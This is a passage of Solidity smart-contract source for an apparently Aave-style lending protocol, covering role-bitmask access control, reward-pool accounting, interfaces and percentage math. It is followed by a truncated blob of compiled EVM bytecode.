STAKE_ADMIN = 1 << 5; uint256 public constant REFERRAL_ADMIN = 1 << 6; uint256 public constant LENDING_RATE_ADMIN = 1 << 7; uint256 public constant SWEEP_ADMIN = 1 << 8; uint256 public constant ORACLE_ADMIN = 1 << 9; uint256 public constant ROLES = (uint256(1) << 16) - 1; // singletons - use range [16..64] - can ONLY be assigned to a single address uint256 public constant SINGLETONS = ((uint256(1) << 64) - 1) & ~ROLES; // proxied singletons uint256 public constant LENDING_POOL = 1 << 16; uint256 public constant LENDING_POOL_CONFIGURATOR = 1 << 17; uint256 public constant LIQUIDITY_CONTROLLER = 1 << 18; uint256 public constant TREASURY = 1 << 19; uint256 public constant REWARD_TOKEN = 1 << 20; uint256 public constant REWARD_STAKE_TOKEN = 1 << 21; uint256 public constant REWARD_CONTROLLER = 1 << 22; uint256 public constant REWARD_CONFIGURATOR = 1 << 23; uint256 public constant STAKE_CONFIGURATOR = 1 << 24; uint256 public constant REFERRAL_REGISTRY = 1 << 25; uint256 public constant PROXIES = ((uint256(1) << 26) - 1) & ~ROLES; // non-proxied singletons, numbered down from 31 (as JS has problems with bitmasks over 31 bits) uint256 public constant WETH_GATEWAY = 1 << 27; uint256 public constant DATA_HELPER = 1 << 28; uint256 public constant PRICE_ORACLE = 1 << 29; uint256 public constant LENDING_RATE_ORACLE = 1 << 30; // any other roles - use range [64..] // these roles can be assigned to multiple addresses uint256 public constant TRUSTED_FLASHLOAN = 1 << 66; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../tools/Errors.sol'; import './interfaces/IMarketAccessController.sol'; import './AccessHelper.sol'; import './AccessFlags.sol'; // solhint-disable func-name-mixedcase abstract contract MarketAccessBitmaskMin { using AccessHelper for IMarketAccessController; IMarketAccessController internal _remoteAcl; constructor(IMarketAccessController remoteAcl) { _remoteAcl = remoteAcl; } function _getRemoteAcl(address addr) internal view returns (uint256) { return _remoteAcl.getAcl(addr); } function hasRemoteAcl() internal view returns (bool) { return _remoteAcl != IMarketAccessController(address(0)); } function acl_hasAnyOf(address subject, uint256 flags) internal view returns (bool) { return _remoteAcl.hasAnyOf(subject, flags); } modifier aclHas(uint256 flags) virtual { _remoteAcl.requireAnyOf(msg.sender, flags, Errors.TXT_ACCESS_RESTRICTED); _; } modifier aclAnyOf(uint256 flags) { _remoteAcl.requireAnyOf(msg.sender, flags, Errors.TXT_ACCESS_RESTRICTED); _; } modifier onlyPoolAdmin() { _remoteAcl.requireAnyOf(msg.sender, AccessFlags.POOL_ADMIN, Errors.CALLER_NOT_POOL_ADMIN); _; } modifier onlyRewardAdmin() { _remoteAcl.requireAnyOf(msg.sender, AccessFlags.REWARD_CONFIG_ADMIN, Errors.CALLER_NOT_REWARD_CONFIG_ADMIN); _; } modifier onlyRewardConfiguratorOrAdmin() { _remoteAcl.requireAnyOf( msg.sender, AccessFlags.REWARD_CONFIG_ADMIN | AccessFlags.REWARD_CONFIGURATOR, Errors.CALLER_NOT_REWARD_CONFIG_ADMIN ); _; } } abstract contract MarketAccessBitmask is MarketAccessBitmaskMin { using AccessHelper for IMarketAccessController; constructor(IMarketAccessController remoteAcl) MarketAccessBitmaskMin(remoteAcl) {} modifier onlyEmergencyAdmin() { _remoteAcl.requireAnyOf(msg.sender, AccessFlags.EMERGENCY_ADMIN, Errors.CALLER_NOT_EMERGENCY_ADMIN); _; } function _onlySweepAdmin() internal view virtual { _remoteAcl.requireAnyOf(msg.sender, AccessFlags.SWEEP_ADMIN, Errors.CALLER_NOT_SWEEP_ADMIN); } modifier onlySweepAdmin() { _onlySweepAdmin(); _; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './IAccessController.sol'; /// @dev Main registry of addresses part of or connected to the protocol, including permissioned roles. Also acts a proxy factory. interface IMarketAccessController is IAccessController { function getMarketId() external view returns (string memory); function getLendingPool() external view returns (address); function getPriceOracle() external view returns (address); function getLendingRateOracle() external view returns (address); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './PoolTokenConfig.sol'; /// @dev Interface for the initialize function on PoolToken or DebtToken interface IInitializablePoolToken { event Initialized( address indexed underlyingAsset, address indexed pool, address treasury, string tokenName, string tokenSymbol, uint8 tokenDecimals, bytes params ); /// @dev Initializes the depositToken function initialize( PoolTokenConfig calldata config, string calldata tokenName, string calldata tokenSymbol, bytes calldata params ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface IERC20Details { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; library DataTypes { struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address depositTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the reserve strategy address strategy; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor //bit 80: strategy is external uint256 data; } struct UserConfigurationMap { uint256 data; } enum InterestRateMode {NONE, STABLE, VARIABLE} struct InitReserveData { address asset; address depositTokenAddress; address stableDebtAddress; address variableDebtAddress; address strategy; bool externalStrategy; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './IRemoteAccessBitmask.sol'; import '../../tools/upgradeability/IProxy.sol'; /// @dev Main registry of permissions and addresses interface IAccessController is IRemoteAccessBitmask { function getAddress(uint256 id) external view returns (address); function createProxy( address admin, address impl, bytes calldata params ) external returns (IProxy); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface IRemoteAccessBitmask { /** * @dev Returns access flags granted to the given address and limited by the filterMask. filterMask == 0 has a special meaning. * @param addr an to get access perfmissions for * @param filterMask limits a subset of flags to be checked. * NB! When filterMask == 0 then zero is returned no flags granted, or an unspecified non-zero value otherwise. * @return Access flags currently granted */ function queryAccessControlMask(address addr, uint256 filterMask) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface IProxy { function upgradeToAndCall(address newImplementation, bytes calldata data) external payable; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface ICreditDelegationToken { event BorrowAllowanceDelegated( address indexed fromUser, address indexed toUser, address asset, uint256 amount ); /** * @dev delegates borrowing power to a user on the specific debt token * @param delegatee the address receiving the delegated borrowing power * @param amount the maximum amount being delegated. Delegation will still * respect the liquidation constraints (even if delegated, a delegatee cannot * force a delegator HF to go below 1) **/ function approveDelegation(address delegatee, uint256 amount) external; /** * @dev returns the borrow allowance of the user * @param fromUser The user to giving allowance * @param toUser The user to give allowance to * @return the current allowance of toUser **/ function borrowAllowance(address fromUser, address toUser) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../../dependencies/openzeppelin/contracts/IERC20.sol'; abstract contract ERC20NoTransferBase is IERC20 { function transfer(address, uint256) public pure override returns (bool) { notSupported(); return false; } function allowance(address, address) public pure override returns (uint256) { return 0; } function approve(address, uint256) public pure override returns (bool) { notSupported(); return false; } function transferFrom( address, address, uint256 ) public pure override returns (bool) { notSupported(); return false; } function notSupported() private pure { revert('NOT_SUPPORTED'); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../../../tools/Errors.sol'; import '../../../reward/calcs/CalcLinearWeightedReward.sol'; import '../../../reward/pools/ControlledRewardPool.sol'; import '../../../reward/interfaces/IRewardController.sol'; import '../../../reward/interfaces/IInitializableRewardPool.sol'; import './PoolTokenBase.sol'; abstract contract RewardedTokenBase is PoolTokenBase, CalcLinearWeightedReward, ControlledRewardPool, IInitializableRewardPool { constructor() ControlledRewardPool(IRewardController(address(0)), 0, 0) {} function internalTotalSupply() internal view override returns (uint256) { return super.internalGetTotalSupply(); } function internalBalanceOf(address account) internal view override returns (uint256) { return super.getRewardEntry(account).rewardBase; } function internalBalanceAndFlagsOf(address account) internal view override returns (uint256, uint32) { RewardBalance memory balance = super.getRewardEntry(account); return (balance.rewardBase, balance.custom); } function internalSetFlagsOf(address account, uint32 flags) internal override { super.internalSetRewardEntryCustom(account, flags); } function internalSetIncentivesController(address) internal override { _mutable(); _notSupported(); } function _notSupported() private pure { revert('UNSUPPORTED'); } function _mutable() private {} function addRewardProvider(address, address) external view override onlyConfigAdmin { _notSupported(); } function removeRewardProvider(address provider) external override onlyConfigAdmin {} function internalGetRate() internal view override returns (uint256) { return super.getLinearRate(); } function internalSetRate(uint256 rate) internal override { super.setLinearRate(rate); } function getIncentivesController() public view override returns (address) { return address(this); } function getCurrentTick() internal view override returns (uint32) { return uint32(block.timestamp); } function internalGetReward(address holder) internal override returns ( uint256, uint32, bool ) { return doGetReward(holder); } function internalCalcReward(address holder, uint32 at) internal view override returns (uint256, uint32) { return doCalcRewardAt(holder, at); } function getAccessController() internal view override returns (IMarketAccessController) { return _remoteAcl; } function internalAllocatedReward( address account, uint256 allocated, uint32 since, AllocationMode mode ) internal { if (allocated == 0) { if (mode == AllocationMode.Push || getRewardController() == address(0)) { return; } } super.internalAllocateReward(account, allocated, since, mode); } function internalIncrementBalance( address account, uint256 amount, uint256 ) internal override { (uint256 allocated, uint32 since, AllocationMode mode) = doIncrementRewardBalance(account, amount); internalAllocatedReward(account, allocated, since, mode); } function internalDecrementBalance( address account, uint256 amount, uint256 minBalance, uint256 ) internal override { // require(oldAccountBalance >= amount, 'ERC20: burn amount exceeds balance'); (uint256 allocated, uint32 since, AllocationMode mode) = doDecrementRewardBalance(account, amount, minBalance); internalAllocatedReward(account, allocated, since, mode); } function internalUpdateTotalSupply(uint256 newSupply) internal override { doUpdateTotalSupply(newSupply); } function getPoolName() public view virtual override returns (string memory) { return super.symbol(); } function initializeRewardPool(InitRewardPoolData calldata config) external override onlyRewardConfiguratorOrAdmin { require(address(config.controller) != address(0)); require(address(getRewardController()) == address(0)); _initialize(IRewardController(config.controller), 0, config.baselinePercentage, config.poolName); } function initializedRewardPoolWith() external view override returns (InitRewardPoolData memory) { return InitRewardPoolData(IRewardController(getRewardController()), getPoolName(), getBaselinePercentage()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './CalcLinearRewardBalances.sol'; abstract contract CalcLinearWeightedReward is CalcLinearRewardBalances { uint256 private _accumRate; uint256 private _totalSupply; uint256 private constant _maxWeightBase = 1e36; function internalGetTotalSupply() internal view returns (uint256) { return _totalSupply; } function internalRateUpdated( uint256 lastRate, uint32 lastAt, uint32 at ) internal override { if (_totalSupply == 0) { return; } // the rate is weighted now vs _maxWeightBase if (at != lastAt) { lastRate *= _maxWeightBase / _totalSupply; _accumRate += lastRate * (at - lastAt); } } function doUpdateTotalSupply(uint256 newSupply) internal returns (bool) { if (newSupply == _totalSupply) { return false; } return internalSetTotalSupply(newSupply, getCurrentTick()); } function doIncrementTotalSupply(uint256 amount) internal { doUpdateTotalSupply(_totalSupply + amount); } function doDecrementTotalSupply(uint256 amount) internal { doUpdateTotalSupply(_totalSupply - amount); } function internalSetTotalSupply(uint256 totalSupply, uint32 at) internal returns (bool rateUpdated) { (uint256 lastRate, uint32 lastAt) = getRateAndUpdatedAt(); internalMarkRateUpdate(at); if (lastRate > 0) { internalRateUpdated(lastRate, lastAt, at); rateUpdated = lastAt != at; } _totalSupply = totalSupply; return rateUpdated; } function internalGetLastAccumRate() internal view returns (uint256) { return _accumRate; } function internalCalcRateAndReward( RewardBalance memory entry, uint256 lastAccumRate, uint32 at ) internal view virtual override returns ( uint256 adjRate, uint256 allocated, uint32 /* since */ ) { adjRate = _accumRate; if (_totalSupply > 0) { (uint256 rate, uint32 updatedAt) = getRateAndUpdatedAt(); rate *= _maxWeightBase / _totalSupply; adjRate += rate * (at - updatedAt); } if (adjRate == lastAccumRate || entry.rewardBase == 0) { return (adjRate, 0, entry.claimedAt); } allocated = (uint256(entry.rewardBase) * (adjRate - lastAccumRate)) / _maxWeightBase; return (adjRate, allocated, entry.claimedAt); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../../tools/math/PercentageMath.sol'; import '../interfaces/IRewardController.sol'; import '../interfaces/IManagedRewardPool.sol'; import '../../access/AccessFlags.sol'; import '../../access/AccessHelper.sol'; import '../../tools/Errors.sol'; abstract contract ControlledRewardPool is IManagedRewardPool { using PercentageMath for uint256; IRewardController private _controller; uint16 private _baselinePercentage; bool private _paused; constructor( IRewardController controller, uint256 initialRate, uint16 baselinePercentage ) { _initialize(controller, initialRate, baselinePercentage, ''); } function _initialize( IRewardController controller, uint256 initialRate, uint16 baselinePercentage, string memory poolName ) internal virtual { poolName; _controller = controller; if (baselinePercentage > 0) { _setBaselinePercentage(baselinePercentage); } if (initialRate > 0) { _setRate(initialRate); } } function getPoolName() public view virtual override returns (string memory) { return ''; } function updateBaseline(uint256 baseline) external virtual override onlyController returns (bool hasBaseline, uint256 appliedRate) { if (_baselinePercentage == 0) { return (false, internalGetRate()); } appliedRate = baseline.percentMul(_baselinePercentage); _setRate(appliedRate); return (true, appliedRate); } function setBaselinePercentage(uint16 factor) external override onlyController { _setBaselinePercentage(factor); } function getBaselinePercentage() public view override returns (uint16) { return _baselinePercentage; } function _mustHaveController() private view { require(address(_controller) != address(0), 'controller is required'); } function _setBaselinePercentage(uint16 factor) internal virtual { _mustHaveController(); require(factor <= PercentageMath.ONE, 'illegal value'); _baselinePercentage = factor; emit BaselinePercentageUpdated(factor); } function _setRate(uint256 rate) internal { _mustHaveController(); internalSetRate(rate); emit RateUpdated(rate); } function getRate() external view override returns (uint256) { return internalGetRate(); } function internalGetRate() internal view virtual returns (uint256); function internalSetRate(uint256 rate) internal virtual; function setPaused(bool paused) public override onlyEmergencyAdmin { if (_paused != paused) { _paused = paused; internalPause(paused); } emit EmergencyPaused(msg.sender, paused); } function isPaused() public view override returns (bool) { return _paused; } function internalPause(bool paused) internal virtual {} function getRewardController() public view override returns (address) { return address(_controller); } function claimRewardFor(address holder) external override onlyController returns ( uint256, uint32, bool ) { return internalGetReward(holder); } function claimRewardWithLimitFor( address holder, uint256 baseAmount, uint256 limit, uint16 minPct ) external override onlyController returns ( uint256 amount, uint32 since, bool keepPull, uint256 newLimit ) { return internalGetRewardWithLimit(holder, baseAmount, limit, minPct); } function calcRewardFor(address holder, uint32 at) external view virtual override returns ( uint256 amount, uint256, uint32 since ) { require(at >= uint32(block.timestamp)); (amount, since) = internalCalcReward(holder, at); return (amount, 0, since); } function internalAllocateReward( address holder, uint256 allocated, uint32 since, AllocationMode mode ) internal { _controller.allocatedByPool(holder, allocated, since, mode); } function internalGetRewardWithLimit( address holder, uint256 baseAmount, uint256 limit, uint16 minBoostPct ) internal virtual returns ( uint256 amount, uint32 since, bool keepPull, uint256 ) { (amount, since, keepPull) = internalGetReward(holder); amount += baseAmount; if (minBoostPct > 0) { limit += PercentageMath.percentMul(amount, minBoostPct); } return (amount, since, keepPull, limit); } function internalGetReward(address holder) internal virtual returns ( uint256, uint32, bool ); function internalCalcReward(address holder, uint32 at) internal view virtual returns (uint256, uint32); function attachedToRewardController() external override onlyController returns (uint256) { internalAttachedToRewardController(); return internalGetPreAllocatedLimit(); } function detachedFromRewardController() external override onlyController returns (uint256) { return internalGetPreAllocatedLimit(); } function internalGetPreAllocatedLimit() internal virtual returns (uint256) { return 0; } function internalAttachedToRewardController() internal virtual {} function _isController(address addr) internal view virtual returns (bool) { return address(_controller) == addr; } function getAccessController() internal view virtual returns (IMarketAccessController) { return _controller.getAccessController(); } function _onlyController() private view { require(_isController(msg.sender), Errors.CALLER_NOT_REWARD_CONTROLLER); } modifier onlyController() { _onlyController(); _; } function _isConfigAdmin(address addr) internal view returns (bool) { return address(_controller) != address(0) && _controller.isConfigAdmin(addr); } function _onlyConfigAdmin() private view { require(_isConfigAdmin(msg.sender), Errors.CALLER_NOT_REWARD_CONFIG_ADMIN); } modifier onlyConfigAdmin() { _onlyConfigAdmin(); _; } function _isRateAdmin(address addr) internal view returns (bool) { return address(_controller) != address(0) && _controller.isRateAdmin(addr); } function _onlyRateAdmin() private view { require(_isRateAdmin(msg.sender), Errors.CALLER_NOT_REWARD_RATE_ADMIN); } modifier onlyRateAdmin() { _onlyRateAdmin(); _; } function _onlyEmergencyAdmin() private view { AccessHelper.requireAnyOf( getAccessController(), msg.sender, AccessFlags.EMERGENCY_ADMIN, Errors.CALLER_NOT_EMERGENCY_ADMIN ); } modifier onlyEmergencyAdmin() { _onlyEmergencyAdmin(); _; } function _notPaused() private view { require(!_paused, Errors.RW_REWARD_PAUSED); } modifier notPaused() { _notPaused(); _; } modifier notPausedCustom(string memory err) { require(!_paused, err); _; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../../access/interfaces/IMarketAccessController.sol'; enum AllocationMode { Push, SetPull, SetPullSpecial } interface IRewardController { function allocatedByPool( address holder, uint256 allocated, uint32 since, AllocationMode mode ) external; function isRateAdmin(address) external view returns (bool); function isConfigAdmin(address) external view returns (bool); function getAccessController() external view returns (IMarketAccessController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './IRewardController.sol'; interface IInitializableRewardPool { struct InitRewardPoolData { IRewardController controller; string poolName; uint16 baselinePercentage; } function initializeRewardPool(InitRewardPoolData calldata) external; function initializedRewardPoolWith() external view returns (InitRewardPoolData memory); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../interfaces/IRewardController.sol'; abstract contract CalcLinearRewardBalances { struct RewardBalance { uint192 rewardBase; uint32 custom; uint32 claimedAt; } mapping(address => RewardBalance) private _balances; mapping(address => uint256) private _accumRates; uint224 private _rate; uint32 private _rateUpdatedAt; function setLinearRate(uint256 rate) internal { setLinearRateAt(rate, getCurrentTick()); } function setLinearRateAt(uint256 rate, uint32 at) internal { if (_rate == rate) { return; } require(rate <= type(uint224).max); uint32 prevTick = _rateUpdatedAt; if (at != prevTick) { uint224 prevRate = _rate; internalMarkRateUpdate(at); _rate = uint224(rate); internalRateUpdated(prevRate, prevTick, at); } } function doSyncRateAt(uint32 at) internal { uint32 prevTick = _rateUpdatedAt; if (at != prevTick) { internalMarkRateUpdate(at); internalRateUpdated(_rate, prevTick, at); } } function getCurrentTick() internal view virtual returns (uint32); function internalRateUpdated( uint256 lastRate, uint32 lastAt, uint32 at ) internal virtual; function internalMarkRateUpdate(uint32 currentTick) internal { require(currentTick >= _rateUpdatedAt, 'retroactive update'); _rateUpdatedAt = currentTick; } function getLinearRate() internal view returns (uint256) { return _rate; } function getRateAndUpdatedAt() internal view returns (uint256, uint32) { return (_rate, _rateUpdatedAt); } function internalCalcRateAndReward( RewardBalance memory entry, uint256 lastAccumRate, uint32 currentTick ) internal view virtual returns ( uint256 rate, uint256 allocated, uint32 since ); function getRewardEntry(address holder) internal view returns (RewardBalance memory) { return _balances[holder]; } function internalSetRewardEntryCustom(address holder, uint32 custom) internal { _balances[holder].custom = custom; } function doIncrementRewardBalance(address holder, uint256 amount) internal returns ( uint256, uint32, AllocationMode ) { RewardBalance memory entry = _balances[holder]; amount += entry.rewardBase; require(amount <= type(uint192).max, 'balance is too high'); return _doUpdateRewardBalance(holder, entry, uint192(amount)); } function doDecrementRewardBalance( address holder, uint256 amount, uint256 minBalance ) internal returns ( uint256, uint32, AllocationMode ) { RewardBalance memory entry = _balances[holder]; require(entry.rewardBase >= minBalance + amount, 'amount exceeds balance'); unchecked { amount = entry.rewardBase - amount; } return _doUpdateRewardBalance(holder, entry, uint192(amount)); } function doUpdateRewardBalance(address holder, uint256 newBalance) internal returns ( uint256 allocated, uint32 since, AllocationMode mode ) { require(newBalance <= type(uint192).max, 'balance is too high'); return _doUpdateRewardBalance(holder, _balances[holder], uint192(newBalance)); } function _doUpdateRewardBalance( address holder, RewardBalance memory entry, uint192 newBalance ) private returns ( uint256, uint32, AllocationMode mode ) { if (entry.claimedAt == 0) { mode = AllocationMode.SetPull; } else { mode = AllocationMode.Push; } uint32 currentTick = getCurrentTick(); (uint256 adjRate, uint256 allocated, uint32 since) = internalCalcRateAndReward( entry, _accumRates[holder], currentTick ); _accumRates[holder] = adjRate; _balances[holder] = RewardBalance(newBalance, entry.custom, currentTick); return (allocated, since, mode); } function doRemoveRewardBalance(address holder) internal returns (uint256 rewardBase) { rewardBase = _balances[holder].rewardBase; if (rewardBase == 0 && _balances[holder].claimedAt == 0) { return 0; } delete (_balances[holder]); return rewardBase; } function doGetReward(address holder) internal returns ( uint256, uint32, bool ) { return doGetRewardAt(holder, getCurrentTick()); } function doGetRewardAt(address holder, uint32 currentTick) internal returns ( uint256, uint32, bool ) { RewardBalance memory balance = _balances[holder]; if (balance.rewardBase == 0) { return (0, 0, false); } (uint256 adjRate, uint256 allocated, uint32 since) = internalCalcRateAndReward( balance, _accumRates[holder], currentTick ); _accumRates[holder] = adjRate; _balances[holder].claimedAt = currentTick; return (allocated, since, true); } function doCalcReward(address holder) internal view returns (uint256, uint32) { return doCalcRewardAt(holder, getCurrentTick()); } function doCalcRewardAt(address holder, uint32 currentTick) internal view returns (uint256, uint32) { if (_balances[holder].rewardBase == 0) { return (0, 0); } (, uint256 allocated, uint32 since) = internalCalcRateAndReward( _balances[holder], _accumRates[holder], currentTick ); return (allocated, since); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../Errors.sol'; /// @dev Percentages are defined in basis points. The precision is indicated by ONE. Operations are rounded half up. library PercentageMath { uint16 public constant BP = 1; // basis point uint16 public constant PCT = 100 * BP; // basis points per percentage point uint16 public constant ONE = 100 * PCT; // basis points per 1 (100%) uint16 public constant HALF_ONE = ONE / 2; // deprecated uint256 public constant PERCENTAGE_FACTOR = ONE; //percentage plus two decimals /** * @dev Executes a percentage multiplication * @param value The value of which the percentage needs to be calculated * @param factor Basis points of the value to be calculated * @return The percentage of value **/ function percentMul(uint256 value, uint256 factor) internal pure returns (uint256) { if (value == 0 || factor == 0) { return 0; } require(value <= (type(uint256).max - HALF_ONE) / factor, Errors.MATH_MULTIPLICATION_OVERFLOW); return (value * factor + HALF_ONE) / ONE; } /** * @dev Executes a percentage division * @param value The value of which the percentage needs to be calculated * @param factor Basis points of the value to be calculated * @return The value divided the percentage **/ function percentDiv(uint256 value, uint256 factor) internal pure returns (uint256) { require(factor != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfFactor = factor >> 1; require(value <= (type(uint256).max - halfFactor) / ONE, Errors.MATH_MULTIPLICATION_OVERFLOW); return (value * ONE + halfFactor) / factor; } function percentOf(uint256 value, uint256 base) internal pure returns (uint256) { require(base != 0, Errors.MATH_DIVISION_BY_ZERO); if (value == 0) { return 0; } require(value <= (type(uint256).max - HALF_ONE) / ONE, Errors.MATH_MULTIPLICATION_OVERFLOW); return (value * ONE + (base >> 1)) / base; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../../interfaces/IEmergencyAccess.sol'; interface IManagedRewardPool is IEmergencyAccess { function updateBaseline(uint256) external returns (bool hasBaseline, uint256 appliedRate); function setBaselinePercentage(uint16) external; function getBaselinePercentage() external view returns (uint16); function getRate() external view returns (uint256); function getPoolName() external view returns (string memory); function claimRewardFor(address holder) external returns ( uint256 amount, uint32 since, bool keepPull ); function claimRewardWithLimitFor( address holder, uint256 baseAmount, uint256 limit, uint16 minPct ) external returns ( uint256 amount, uint32 since, bool keepPull, uint256 newLimit ); function calcRewardFor(address holder, uint32 at) external view returns ( uint256 amount, uint256 extra, uint32 since ); function addRewardProvider(address provider, address token) external; function removeRewardProvider(address provider) external; function getRewardController() external view returns (address); function attachedToRewardController() external returns (uint256 allocateReward); function detachedFromRewardController() external returns (uint256 deallocateReward); event RateUpdated(uint256 rate); event BaselinePercentageUpdated(uint16); event ProviderAdded(address provider, address token); event ProviderRemoved(address provider); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface IEmergencyAccess { function setPaused(bool paused) external; function isPaused() external view returns (bool); event EmergencyPaused(address indexed by, bool paused); }
0x608060405234801561001057600080fd5b506004361061025e5760003560e01c80638abc37d311610146578063b3f1c93d116100c3578063dde43cba11610087578063dde43cba14610582578063e3161ddd14610589578063e4ae9af714610591578063e655dbd8146105a4578063f5298aca146105b7578063ff85a2ba146105ca57600080fd5b8063b3f1c93d1461052b578063b6fe2e9c1461053e578063c04a8a1014610551578063d299398314610564578063dd62ed3e1461056c57600080fd5b8063a9059cbb1161010a578063a9059cbb14610297578063a9dd7702146104ed578063b16a19de14610500578063b187bd2614610511578063b1bf962d1461052357600080fd5b80638abc37d31461045a57806392efda791461048e57806395d89b411461049f5780639cfa7768146104a7578063a8346a8c146104af57600080fd5b8063313ce567116101df57806355f4f197116101a357806355f4f197146103d3578063679aefce146103db5780636bd76d24146103e357806370a082311461041c5780637535d2461461042f57806375d264131461045457600080fd5b8063313ce5671461036257806337a92626146103775780633a7d40891461038a5780634800df8c1461039f5780634d25c4f1146103b257600080fd5b806316c38b3c1161022657806316c38b3c1461030c57806318160ddd146103215780631da24f3e146103295780631dd0f4831461033c57806323b872dd1461034f57600080fd5b806306fdde03146102635780630746363d14610281578063095ea7b3146102975780630afbcdc9146102ba5780630ca2103d146102e2575b600080fd5b61026b6105ff565b6040516102789190612cf4565b60405180910390f35b610289610691565b604051908152602001610278565b6102aa6102a53660046128f8565b6106a6565b6040519015158152602001610278565b6102cd6102c8366004612803565b6106ba565b60408051928352602083019190915201610278565b6102f56102f0366004612b99565b6106d7565b604080519215158352602083019190915201610278565b61031f61031a3660046129d3565b61072b565b005b61028961079d565b610289610337366004612803565b6107b8565b61031f61034a366004612803565b6107c3565b6102aa61035d366004612873565b6107ce565b60025460405160ff9091168152602001610278565b61031f610385366004612a0b565b6107eb565b6103926108d9565b6040516102789190612d07565b61031f6103ad366004612b7f565b610962565b600a54600160a01b900461ffff1660405161ffff9091168152602001610278565b610289610973565b610289610982565b6102896103f136600461283b565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b61028961042a366004612803565b61098c565b6003546001600160a01b03165b6040516001600160a01b039091168152602001610278565b3061043c565b61046d61046836600461299e565b6109c1565b60408051938452602084019290925263ffffffff1690820152606001610278565b600a546001600160a01b031661043c565b61026b6109fa565b610289610a09565b6104c26104bd366004612957565b610a8d565b6040805194855263ffffffff9093166020850152901515918301919091526060820152608001610278565b6102896104fb366004612803565b610ab9565b6004546001600160a01b031661043c565b600a54600160b01b900460ff166102aa565b610289610ac4565b6102aa6105393660046128b3565b610ace565b61031f61054c36600461283b565b610c03565b61031f61055f3660046128f8565b610c17565b61026b610c82565b61028961057a36600461283b565b600092915050565b6001610289565b61031f610c8c565b61031f61059f366004612a43565b610d82565b61031f6105b2366004612803565b610f8a565b61031f6105c5366004612923565b610fce565b6105dd6105d8366004612803565b6110b5565b6040805193845263ffffffff9092166020840152151590820152606001610278565b60606000805461060e90612e66565b80601f016020809104026020016040519081016040528092919081815260200182805461063a90612e66565b80156106875780601f1061065c57610100808354040283529160200191610687565b820191906000526020600020905b81548152906001019060200180831161066a57829003601f168201915b5050505050905090565b600061069b6110e3565b50600090565b905090565b60006106b061112a565b5060005b92915050565b6000806106c683611162565b6106ce6111de565b91509150915091565b6000806106e26110e3565b600a54600160a01b900461ffff166106fe5760006106ce6111e8565b600a54610717908490600160a01b900461ffff166111fc565b9050610722816112f1565b60019150915091565b610733611339565b600a5460ff600160b01b9091041615158115151461076357600a805460ff60b01b1916600160b01b831515021790555b604051811515815233907facaf4ee8e6a4949ca96787d73dfff5165ff2c555b2304b8517dc5396053add859060200160405180910390a250565b60006106a16107aa610a09565b6107b26111de565b90611373565b60006106b482611162565b6107cb61141a565b50565b60006107d861112a565b5060009392505050565b60025460ff1690565b60408051808201909152600280825261383160f01b602083015254610826916101009091046001600160a01b0316903390628000089061145c565b60006108356020830183612803565b6001600160a01b0316141561084957600080fd5b600061085d600a546001600160a01b031690565b6001600160a01b03161461087057600080fd5b6107cb6108806020830183612803565b60006108926060850160408601612b7f565b61089f6020860186612d4f565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061148d92505050565b61090a604051806060016040528060006001600160a01b0316815260200160608152602001600061ffff1681525090565b6040518060600160405280610927600a546001600160a01b031690565b6001600160a01b0316815260200161093d610c82565b8152602001610957600a5461ffff600160a01b9091041690565b61ffff169052919050565b61096a6110e3565b6107cb816114d0565b600061097d6110e3565b61069b565b60006106a16111e8565b60008061099883611162565b9050806109a85750600092915050565b6109ba6109b3610a09565b8290611373565b9392505050565b60008060004263ffffffff168463ffffffff1610156109df57600080fd5b6109e98585611586565b9093506000925090505b9250925092565b60606001805461060e90612e66565b6003546004805460405163386497fd60e01b81526001600160a01b0391821692810192909252600092169063386497fd9060240160206040518083038186803b158015610a5557600080fd5b505afa158015610a69573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a19190612bb1565b600080600080610a9b6110e3565b610aa78888888861159f565b929b919a509850909650945050505050565b60006106b48261098c565b60006106a16111de565b6000610ad86115f0565b836001600160a01b0316856001600160a01b031614610afc57610afc848685611635565b610b0584611162565b1590506000610b14848461170d565b6040805180820190915260028152611a9b60f11b602082015290915081610b575760405162461bcd60e51b8152600401610b4e9190612cf4565b60405180910390fd5b